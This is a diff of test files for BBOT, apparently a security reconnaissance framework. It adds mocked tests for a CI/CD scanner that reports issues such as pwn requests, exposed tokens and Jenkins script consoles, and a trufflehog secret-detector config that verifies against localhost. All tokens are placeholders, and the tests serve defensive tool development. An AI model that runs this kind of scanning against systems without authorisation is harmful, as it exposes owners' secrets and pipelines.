+        assert "pwn_request" in finding.data["name"]
+        assert finding.data["severity"] == "CRITICAL"
+        assert "CI" in finding.data["description"]
+
+
+class TestTrajanGitlab(ModuleTestBase):
+    targets = ["https://gitlab.com/someorg/somerepo"]
+    modules_overrides = ["trajan"]
+    config_overrides = {"modules": {"trajan": {"gitlab_token": "test-gl-token"}}}
+
+    async def setup_after_prep(self, module_test):
+        async def mock_run(*command, **kwargs):
+            cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command)
+            if "trajan" in cmd:
+                assert "gitlab" in cmd
+                assert "--project" in cmd
+                project_idx = cmd.index("--project")
+                assert cmd[project_idx + 1] == "someorg/somerepo"
+                assert "--token" in cmd
+                token_idx = cmd.index("--token")
+                assert cmd[token_idx + 1] == "test-gl-token"
+                return CompletedProcess(cmd, 0, trajan_gitlab_output, "")
+            return CompletedProcess(cmd, 1, "", "")
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run)
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}"
+        finding = findings[0]
+        assert "token_exposure" in finding.data["name"]
+        assert finding.data["severity"] == "HIGH"
+        assert "deploy" in finding.data["description"]
+
+
+class TestTrajanAdo(ModuleTestBase):
+    targets = ["https://dev.azure.com/myorg/myproject/_git/myrepo"]
+    modules_overrides = ["trajan"]
+    config_overrides = {"modules": {"trajan": {"ado_token": "test-ado-token"}}}
+
+    async def setup_after_prep(self, module_test):
+        async def mock_run(*command, **kwargs):
+            cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command)
+            if "trajan" in cmd:
+                assert "ado" in cmd
+                assert "--org" in cmd
+                org_idx = cmd.index("--org")
+                assert cmd[org_idx + 1] == "myorg"
+                assert "--repo" in cmd
+                repo_idx = cmd.index("--repo")
+                assert cmd[repo_idx + 1] == "myproject/myrepo"
+                assert "--token" in cmd
+                token_idx = cmd.index("--token")
+                assert cmd[token_idx + 1] == "test-ado-token"
+                return CompletedProcess(cmd, 0, trajan_ado_output, "")
+            return CompletedProcess(cmd, 1, "", "")
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run)
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}"
+        finding = findings[0]
+        assert "script_injection" in finding.data["name"]
+        assert finding.data["severity"] == "HIGH"
+        assert "Build Pipeline" in finding.data["description"]
+
+
+class TestTrajanJfrog(ModuleTestBase):
+    targets = ["https://mycompany.jfrog.io/artifactory/libs-release"]
+    modules_overrides = ["trajan"]
+    config_overrides = {"modules": {"trajan": {"jfrog_token": "test-jfrog-token"}}}
+
+    async def setup_after_prep(self, module_test):
+        async def mock_run(*command, **kwargs):
+            cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command)
+            if "trajan" in cmd:
+                assert "jfrog" in cmd
+                assert "--url" in cmd
+                url_idx = cmd.index("--url")
+                assert cmd[url_idx + 1] == "https://mycompany.jfrog.io"
+                assert "--secrets" in cmd
+                assert "--token" in cmd
+                token_idx = cmd.index("--token")
+                assert cmd[token_idx + 1] == "test-jfrog-token"
+                return CompletedProcess(cmd, 0, trajan_jfrog_output, "")
+            return CompletedProcess(cmd, 1, "", "")
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run)
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 2, f"Expected 2 FINDINGs (1 artifact + 1 build secret), got {len(findings)}"
+        artifact_findings = [e for e in findings if "Artifact Secret" in e.data["name"]]
+        assert len(artifact_findings) == 1
+        assert "aws_access_key" in artifact_findings[0].data["name"]
+        assert "config.yaml" in artifact_findings[0].data["description"]
+        build_findings = [e for e in findings if "Build Secret" in e.data["name"]]
+        assert len(build_findings) == 1
+        assert "aws_secret_key" in build_findings[0].data["name"]
+        assert "release-pipeline" in build_findings[0].data["description"]
+
+
+class TestTrajanJenkins(ModuleTestBase):
+    """Test Jenkins detection via TECHNOLOGY event on a non-jenkins hostname."""
+
+    targets = ["blacklanternsecurity.com"]
+    modules_overrides = ["trajan"]
+    config_overrides = {"modules": {"trajan": {"jenkins_token": "test-jenkins-token"}}}
+
+    async def setup_after_prep(self, module_test):
+        # Inject a TECHNOLOGY event as if gowitness/shodan detected Jenkins
+        tech_event = module_test.scan.make_event(
+            {
+                "technology": "jenkins",
+                "url": "https://ci.blacklanternsecurity.com:8080/job/deploy-pipeline",
+                "host": "ci.blacklanternsecurity.com",
+            },
+            "TECHNOLOGY",
+            parent=module_test.scan.root_event,
+        )
+        await module_test.scan.ingress_module.queue_event(tech_event, {})
+
+        async def mock_run(*command, **kwargs):
+            cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command)
+            if "trajan" in cmd:
+                assert "jenkins" in cmd
+                assert "--url" in cmd
+                url_idx = cmd.index("--url")
+                assert cmd[url_idx + 1] == "https://ci.blacklanternsecurity.com:8080"
+                assert "--repo" in cmd
+                repo_idx = cmd.index("--repo")
+                assert cmd[repo_idx + 1] == "deploy-pipeline"
+                assert "--token" in cmd
+                token_idx = cmd.index("--token")
+                assert cmd[token_idx + 1] == "test-jenkins-token"
+                return CompletedProcess(cmd, 0, trajan_jenkins_output, "")
+            return CompletedProcess(cmd, 1, "", "")
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run)
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}"
+        finding = findings[0]
+        assert "jenkins_script_console" in finding.data["name"]
+        assert finding.data["severity"] == "CRITICAL"
+
+
+class TestTrajanJfrogTechnology(ModuleTestBase):
+    """Test JFrog/Artifactory detection via TECHNOLOGY event on a non-jfrog hostname."""
+
+    targets = ["blacklanternsecurity.com"]
+    modules_overrides = ["trajan"]
+    config_overrides = {"modules": {"trajan": {"jfrog_token": "test-jfrog-token"}}}
+
+    async def setup_after_prep(self, module_test):
+        # Inject an "artifactory" TECHNOLOGY event on a self-hosted instance
+        tech_event = module_test.scan.make_event(
+            {
+                "technology": "artifactory",
+                "url": "https://artifacts.blacklanternsecurity.com/",
+                "host": "artifacts.blacklanternsecurity.com",
+            },
+            "TECHNOLOGY",
+            parent=module_test.scan.root_event,
+        )
+        await module_test.scan.ingress_module.queue_event(tech_event, {})
+
+        async def mock_run(*command, **kwargs):
+            cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command)
+            if "trajan" in cmd:
+                assert "jfrog" in cmd
+                assert "--url" in cmd
+                url_idx = cmd.index("--url")
+                assert cmd[url_idx + 1] == "https://artifacts.blacklanternsecurity.com"
+                assert "--secrets" in cmd
+                assert "--token" in cmd
+                token_idx = cmd.index("--token")
+                assert cmd[token_idx + 1] == "test-jfrog-token"
+                return CompletedProcess(cmd, 0, trajan_jfrog_output, "")
+            return CompletedProcess(cmd, 1, "", "")
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run)
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 2, f"Expected 2 FINDINGs (1 artifact + 1 build secret), got {len(findings)}"
+        artifact_findings = [e for e in findings if "Artifact Secret" in e.data["name"]]
+        assert len(artifact_findings) == 1
+        build_findings = [e for e in findings if "Build Secret" in e.data["name"]]
+        assert len(build_findings) == 1
diff --git a/bbot/test/test_step_2/module_tests/test_module_trickest.py b/bbot/test/test_step_2/module_tests/test_module_trickest.py
index 457e8deef2..bdc2eb7fc5 100644
--- a/bbot/test/test_step_2/module_tests/test_module_trickest.py
+++ b/bbot/test/test_step_2/module_tests/test_module_trickest.py
@@ -5,17 +5,17 @@ class TestTrickest(ModuleTestBase):
     config_overrides = {"modules": {"trickest": {"api_key": "deadbeef"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be/dataset",
             match_headers={"Authorization": "Token deadbeef"},
             json={},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be/view?q=hostname%20~%20%22.blacklanternsecurity.com%22&dataset_id=a0a49ca9-03bb-45e0-aa9a-ad59082ebdfc&limit=50&offset=0&select=hostname&orderby=hostname",
             match_headers={"Authorization": "Token deadbeef"},
             json={"results": [{"hostname": "asdf.blacklanternsecurity.com"}]},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be/view?q=hostname%20~%20%22.blacklanternsecurity.com%22&dataset_id=a0a49ca9-03bb-45e0-aa9a-ad59082ebdfc&limit=50&offset=50&select=hostname&orderby=hostname",
             match_headers={"Authorization": "Token deadbeef"},
             json={"results": [{"hostname": "www.blacklanternsecurity.com"}]},
diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py
index a063c4453c..0e9ba6332a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py
+++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py
@@ -1,19 +1,49 @@
 import io
+import json
 import shutil
 import zipfile
 import tarfile
 import subprocess
-from copy import copy
 from pathlib import Path
 
+from werkzeug.wrappers import Response
+
 from .base import ModuleTestBase
 from bbot.test.bbot_fixtures import bbot_test_dir
 
 
+# Custom trufflehog detector that verifies against module_test.httpserver (127.0.0.1:8888),
+# so the test doesn't depend on external network reachability.
+TRUFFLEHOG_VERIFY_PATH = "/trufflehog-verify"
+TRUFFLEHOG_VERIFIED_TOKEN = "aaaaaaaaaaaaaaaa"
+TRUFFLEHOG_UNVERIFIED_TOKEN = "bbbbbbbbbbbbbbbb"
+TRUFFLEHOG_CUSTOM_CONFIG = f"""detectors:
+  - name: BBOTTestSecret
+    keywords:
+      - BBOTTEST
+    regex:
+      key: 'BBOTTEST-([A-Za-z0-9]{{16}})'
+    verify:
+      - endpoint: http://127.0.0.1:8888{TRUFFLEHOG_VERIFY_PATH}
+        unsafe: true
+"""
+
+
+def _trufflehog_verify_handler(request):
+    payload = json.loads(request.get_data() or b"{}")
+    # trufflehog posts {"<DetectorName>": {"<group>": ["<full match>", "<group capture>"]}}
+    captures = payload.get("BBOTTestSecret", {}).get("key", [])
+    if len(captures) >= 2 and captures[1] == TRUFFLEHOG_VERIFIED_TOKEN:
+        return Response("ok", status=200)
+    return Response("no", status=401)
+
+
 class TestTrufflehog(ModuleTestBase):
     download_dir = bbot_test_dir / "test_trufflehog"
+    trufflehog_config_path = bbot_test_dir / "trufflehog_custom_config.yaml"
     config_overrides = {
         "modules": {
+            "trufflehog": {"config": str(trufflehog_config_path)},
             "postman_download": {"api_key": "asdf", "output_folder": str(download_dir)},
             "docker_pull": {"output_folder": str(download_dir)},
             "github_org": {"api_key": "asdf"},
@@ -32,13 +62,17 @@ class TestTrufflehog(ModuleTestBase):
         "trufflehog",
     ]
 
-    file_content = "Verifiable Secret:\nhttps://admin:admin@the-internet.herokuapp.com/basic_auth\n\nUnverifiable Secret:\nhttps://admin:admin@internal.host.com"
+    file_content = (
+        f"Verifiable Secret:\nBBOTTEST-{TRUFFLEHOG_VERIFIED_TOKEN}\n\n"
+        f"Unverifiable Secret:\nBBOTTEST-{TRUFFLEHOG_UNVERIFIED_TOKEN}"
+    )
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        self.trufflehog_config_path.write_text(TRUFFLEHOG_CUSTOM_CONFIG)
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/zen", match_headers={"Authorization": "token asdf"}
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/me",
             json={
                 "user": {
@@ -69,7 +103,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -105,7 +139,7 @@ async def setup_before_prep(self, module_test):
                 "type": "Organization",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity/repos?per_page=100&page=1",
             match_headers={"Authorization": "token asdf"},
             json=[
@@ -313,7 +347,7 @@ async def setup_before_prep(self, module_test):
                 },
             ],
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/workflows?per_page=100&page=1",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -334,7 +368,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/workflows/22452226/runs?status=success&per_page=1",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -581,7 +615,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/runs/8839360698/logs",
             match_headers={"Authorization": "token asdf"},
             headers={
@@ -595,11 +629,11 @@ async def setup_before_prep(self, module_test):
             z.writestr("folder/test2.txt", self.file_content)
         data.seek(0)
         zip_content = data.getvalue()
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://productionresultssa10.blob.core.windows.net/actions-results/7beb304e-f42c-4830-a027-4f5dec53107d/workflow-job-run-3a559e2a-952e-58d2-b8db-2e604a9266d7/logs/steps/step-logs-0e34a19a-18b0-4208-b27a-f8c031db2d17.txt?rsct=text%2Fplain&se=2024-04-26T16%3A25%3A39Z&sig=a%2FiN8dOw0e3tiBQZAfr80veI8OYChb9edJ1eFY136B4%3D&sp=r&spr=https&sr=b&st=2024-04-26T16%3A15%3A34Z&sv=2021-12-02",
             content=zip_content,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/users/blacklanternsecurity",
             json={
                 "id": "f90895d9cf484d9182c6dbbef2632329",
@@ -615,7 +649,7 @@ async def setup_before_prep(self, module_test):
                 "type": "User",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/repositories/blacklanternsecurity?page_size=25&page=1",
             json={
                 "count": 2,
@@ -642,7 +676,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/tags/list",
             json={
                 "name": "blacklanternsecurity/helloworld",
@@ -652,7 +686,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/manifests/latest",
             json={
                 "schemaVersion": 2,
@@ -671,7 +705,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/blobs/sha256:a9910947b74a4f0606cfc8669ae8808d2c328beaee9e79f489dc17df14cd50b1",
             json={
                 "architecture": "amd64",
@@ -857,13 +891,16 @@ async def setup_before_prep(self, module_test):
             tar.addfile(file_info, file_io)
         with open(tar_path, "rb") as file:
             layer_file = file.read()
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/blobs/sha256:8a1e25ce7c4f75e372e9884f8f7b1bedcfe4a7a7d452eb4b0a1c7477c9a90345",
             content=layer_file,
         )
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.httpserver.expect_request(uri=TRUFFLEHOG_VERIFY_PATH, method="POST").respond_with_handler(
+            _trufflehog_verify_handler
+        )
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/ws/proxy",
             match_json={
                 "service": "search",
@@ -959,7 +996,7 @@ async def setup_after_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/ws/proxy",
             match_json={
                 "service": "workspaces",
@@ -993,7 +1030,7 @@ async def setup_after_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/workspaces/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b",
             json={
                 "workspace": {
@@ -1024,7 +1061,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/workspace/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b/globals",
             json={
                 "model_id": "8be7574b-219f-49e0-8d25-da447a882e4e",
@@ -1046,7 +1083,7 @@ async def setup_after_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/environments/10197090-f770f816-9c6a-40f7-bde3-c0855d2a1089",
             json={
                 "environment": {
@@ -1066,7 +1103,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/collections/10197090-2aab9fd0-3715-4abe-8bb0-8cb0264d023f",
             json={
                 "collection": {
@@ -1089,12 +1126,9 @@ async def setup_after_prep(self, module_test):
                                 "header": [{"key": "Content-Type", "value": "application/json"}],
                                 "body": {
                                     "mode": "raw",
-                                    "raw": '{"username": "test", "password": "Test"}',
-                                },
-                                "url": {
-                                    "raw": "https://admin:admin@the-internet.herokuapp.com/basic_auth",
-                                    "host": ["https://admin:admin@the-internet.herokuapp.com/basic_auth"],
+                                    "raw": f"verifiable: BBOTTEST-{TRUFFLEHOG_VERIFIED_TOKEN}",
                                 },
+                                "url": {"raw": "https://example.com/", "host": ["https://example.com/"]},
                                 "description": "",
                             },
                             "response": [],
@@ -1109,12 +1143,9 @@ async def setup_after_prep(self, module_test):
                                 "header": [{"key": "Content-Type", "value": "application/json"}],
                                 "body": {
                                     "mode": "raw",
-                                    "raw": '{"username": "test", "password": "Test"}',
-                                },
-                                "url": {
-                                    "raw": "https://admin:admin@internal.host.com",
-                                    "host": ["https://admin:admin@internal.host.com"],
+                                    "raw": f"unverifiable: BBOTTEST-{TRUFFLEHOG_UNVERIFIED_TOKEN}",
                                 },
+                                "url": {"raw": "https://example.com/", "host": ["https://example.com/"]},
                                 "description": "",
                             },
                             "response": [],
@@ -1147,33 +1178,26 @@ async def setup_after_prep(self, module_test):
         )
 
         # we need this test to work offline, so we patch git_clone to pull from a local file:// path
-        old_handle_event = module_test.scan.modules["git_clone"].handle_event
+        old_clone = module_test.scan.modules["git_clone"].clone_git_repository
 
-        async def new_handle_event(event):
-            if event.type == "CODE_REPOSITORY":
-                event = copy(event)
-                data = dict(event.data)
-                data["url"] = event.data["url"].replace(
-                    "https://github.com/blacklanternsecurity", f"file://{temp_path}"
-                )
-                event.data = data
-            return await old_handle_event(event)
+        async def new_clone(repository_url):
+            repository_url = repository_url.replace("https://github.com/blacklanternsecurity", f"file://{temp_path}")
+            return await old_clone(repository_url)
 
-        module_test.monkeypatch.setattr(module_test.scan.modules["git_clone"], "handle_event", new_handle_event)
+        module_test.monkeypatch.setattr(module_test.scan.modules["git_clone"], "clone_git_repository", new_clone)
 
     def check(self, module_test, events):
         vuln_events = [
             e
             for e in events
-            if e.type == "VULNERABILITY"
+            if e.type == "FINDING"
             and (
                 e.data["host"] == "hub.docker.com"
                 or e.data["host"] == "github.com"
                 or e.data["host"] == "www.postman.com"
             )
             and "Verified Secret Found." in e.data["description"]
-            and "Raw result: [https://admin:admin@the-internet.herokuapp.com]" in e.data["description"]
-            and "RawV2 result: [https://admin:admin@the-internet.herokuapp.com/basic_auth]" in e.data["description"]
+            and f"Raw result: [{TRUFFLEHOG_VERIFIED_TOKEN}]" in e.data["description"]
         ]
 
         # Trufflehog should find 4 verifiable secrets, 1 from the github, 1 from the workflow log, 1 from the docker image and 1 from the postman.
@@ -1226,7 +1250,7 @@ class TestTrufflehog_NonVerified(TestTrufflehog):
     download_dir = bbot_test_dir / "test_trufflehog_nonverified"
     config_overrides = {
         "modules": {
-            "trufflehog": {"only_verified": False},
+            "trufflehog": {"only_verified": False, "config": str(TestTrufflehog.trufflehog_config_path)},
             "docker_pull": {"output_folder": str(download_dir)},
             "postman_download": {"api_key": "asdf", "output_folder": str(download_dir)},
             "github_org": {"api_key": "asdf"},
@@ -1238,14 +1262,14 @@ def check(self, module_test, events):
         finding_events = [
             e
             for e in events
-            if e.type == e.type == "FINDING"
+            if e.type == "FINDING"
             and (
                 e.data["host"] == "hub.docker.com"
                 or e.data["host"] == "github.com"
                 or e.data["host"] == "www.postman.com"
             )
             and "Possible Secret Found." in e.data["description"]
-            and "Raw result: [https://admin:admin@internal.host.com]" in e.data["description"]
+            and f"Raw result: [{TRUFFLEHOG_UNVERIFIED_TOKEN}]" in e.data["description"]
         ]
         # Trufflehog should find 4 unverifiable secrets, 1 from the github, 1 from the workflow log, 1 from the docker image and 1 from the postman.
         assert 4 == len(finding_events), "Failed to find secret in events"
@@ -1295,7 +1319,7 @@ def check(self, module_test, events):
 
 class TestTrufflehog_HTTPResponse(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "trufflehog"]
+    modules_overrides = ["http", "trufflehog"]
     config_overrides = {"modules": {"trufflehog": {"only_verified": False}}}
 
     async def setup_before_prep(self, module_test):
@@ -1309,7 +1333,7 @@ def check(self, module_test, events):
 
 class TestTrufflehog_RAWText(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/test.pdf"]
-    modules_overrides = ["httpx", "trufflehog", "filedownload", "extractous"]
+    modules_overrides = ["http", "trufflehog", "filedownload", "kreuzberg"]
 
     download_dir = bbot_test_dir / "test_trufflehog_rawtext"
     config_overrides = {
@@ -1330,3 +1354,6 @@ def check(self, module_test, events):
         finding_events = [e for e in events if e.type == "FINDING"]
         assert len(finding_events) == 1
         assert "Possible Secret Found" in finding_events[0].data["description"]
+        # Trufflehog emits HIGH severity and MEDIUM confidence for possible secrets
+        assert finding_events[0].data["severity"] == "HIGH"
+        assert finding_events[0].data["confidence"] == "MEDIUM"
diff --git a/bbot/test/test_step_2/module_tests/test_module_unarchive.py b/bbot/test/test_step_2/module_tests/test_module_unarchive.py
index 9724dc3352..9beab8d5e9 100644
--- a/bbot/test/test_step_2/module_tests/test_module_unarchive.py
+++ b/bbot/test/test_step_2/module_tests/test_module_unarchive.py
@@ -11,7 +11,7 @@
 
 class TestUnarchive(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["filedownload", "httpx", "excavate", "speculate", "unarchive"]
+    modules_overrides = ["filedownload", "http", "excavate", "speculate", "unarchive"]
     config_overrides = {
         "modules": {
             "filedownload": {
diff --git a/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py b/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py
index 725a96fecf..45a58c5f62 100644
--- a/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py
+++ b/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py
@@ -3,7 +3,7 @@
 
 class TestUrl_Manipulation(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "url_manipulation"]
+    modules_overrides = ["http", "url_manipulation"]
     body = """
     <html>
     <title>the title</title>
@@ -34,6 +34,6 @@ def check(self, module_test, events):
         assert any(
             e.type == "FINDING"
             and e.data["description"]
-            == f"Url Manipulation: [body] Sig: [Modified URL: http://127.0.0.1:8888/?{module_test.module.rand_string}=.xml]"
+            == f"URL Manipulation: [body] Sig: [Modified URL: http://127.0.0.1:8888/?{module_test.module.rand_string}=.xml]"
             for e in events
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_urlscan.py b/bbot/test/test_step_2/module_tests/test_module_urlscan.py
index d108f2f565..e2e78f6516 100644
--- a/bbot/test/test_step_2/module_tests/test_module_urlscan.py
+++ b/bbot/test/test_step_2/module_tests/test_module_urlscan.py
@@ -5,7 +5,7 @@ class TestUrlScan(ModuleTestBase):
     config_overrides = {"modules": {"urlscan": {"urls": True}}}
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://urlscan.io/api/v1/search/?q=blacklanternsecurity.com",
             json={
                 "results": [
@@ -55,4 +55,4 @@ async def setup_after_prep(self, module_test):
 
     def check(self, module_test, events):
         assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
-        assert any(e.data == "https://asdf.blacklanternsecurity.com/cna.html" for e in events), "Failed to detect URL"
+        assert any(e.url == "https://asdf.blacklanternsecurity.com/cna.html" for e in events), "Failed to detect URL"
diff --git a/bbot/test/test_step_2/module_tests/test_module_vhost.py b/bbot/test/test_step_2/module_tests/test_module_vhost.py
deleted file mode 100644
index 16f9991f6e..0000000000
--- a/bbot/test/test_step_2/module_tests/test_module_vhost.py
+++ /dev/null
@@ -1,65 +0,0 @@
-from .base import ModuleTestBase, tempwordlist
-
-
-class TestVhost(ModuleTestBase):
-    targets = ["http://localhost:8888", "secret.localhost"]
-    modules_overrides = ["httpx", "vhost"]
-    test_wordlist = ["11111111", "admin", "cloud", "junkword1", "zzzjunkword2"]
-    config_overrides = {
-        "modules": {
-            "vhost": {
-                "wordlist": tempwordlist(test_wordlist),
-            }
-        }
-    }
-
-    async def setup_after_prep(self, module_test):
-        expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "admin.localhost:8888"}}
-        respond_args = {"response_data": "Alive vhost admin"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "cloud.localhost:8888"}}
-        respond_args = {"response_data": "Alive vhost cloud"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "q-cloud.localhost:8888"}}
-        respond_args = {"response_data": "Alive vhost q-cloud"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "secret.localhost:8888"}}
-        respond_args = {"response_data": "Alive vhost secret"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "host.docker.internal"}}
-        respond_args = {"response_data": "Alive vhost host.docker.internal"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/"}
-        respond_args = {"response_data": "alive"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-    def check(self, module_test, events):
-        basic_detection = False
-        mutaton_of_detected = False
-        basehost_mutation = False
-        special_vhost_list = False
-        wordcloud_detection = False
-
-        for e in events:
-            if e.type == "VHOST":
-                if e.data["vhost"] == "admin":
-                    basic_detection = True
-                if e.data["vhost"] == "cloud":
-                    mutaton_of_detected = True
-                if e.data["vhost"] == "q-cloud":
-                    basehost_mutation = True
-                if e.data["vhost"] == "host.docker.internal":
-                    special_vhost_list = True
-                if e.data["vhost"] == "secret":
-                    wordcloud_detection = True
-
-        assert basic_detection
-        assert mutaton_of_detected
-        assert basehost_mutation
-        assert special_vhost_list
-        assert wordcloud_detection
diff --git a/bbot/test/test_step_2/module_tests/test_module_viewdns.py b/bbot/test/test_step_2/module_tests/test_module_viewdns.py
index 45417b2dca..82044b9530 100644
--- a/bbot/test/test_step_2/module_tests/test_module_viewdns.py
+++ b/bbot/test/test_step_2/module_tests/test_module_viewdns.py
@@ -3,7 +3,7 @@
 
 class TestViewDNS(ModuleTestBase):
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://viewdns.info/reversewhois/?q=blacklanternsecurity.com",
             text=web_body,
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py
new file mode 100644
index 0000000000..e5226cf13c
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py
@@ -0,0 +1,965 @@
+from .base import ModuleTestBase, tempwordlist
+import re
+from werkzeug.wrappers import Response
+
+
+class VirtualhostTestBase(ModuleTestBase):
+    """Base class for virtualhost tests with common setup"""
+
+    async def setup_before_prep(self, module_test):
+        # Fix randomness for predictable canary generation
+        module_test.monkeypatch.setattr("random.seed", lambda x: None)
+        import string
+
+        def predictable_choice(seq):
+            return seq[0] if seq == string.ascii_lowercase else seq[0]
+
+        module_test.monkeypatch.setattr("random.choice", predictable_choice)
+
+    async def setup_after_prep(self, module_test):
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+
+class TestVirtualhostSpecialHosts(VirtualhostTestBase):
+    """Test special hosts detection"""
+
+    targets = ["http://localhost:8888"]
+    modules_overrides = ["http", "virtualhost"]
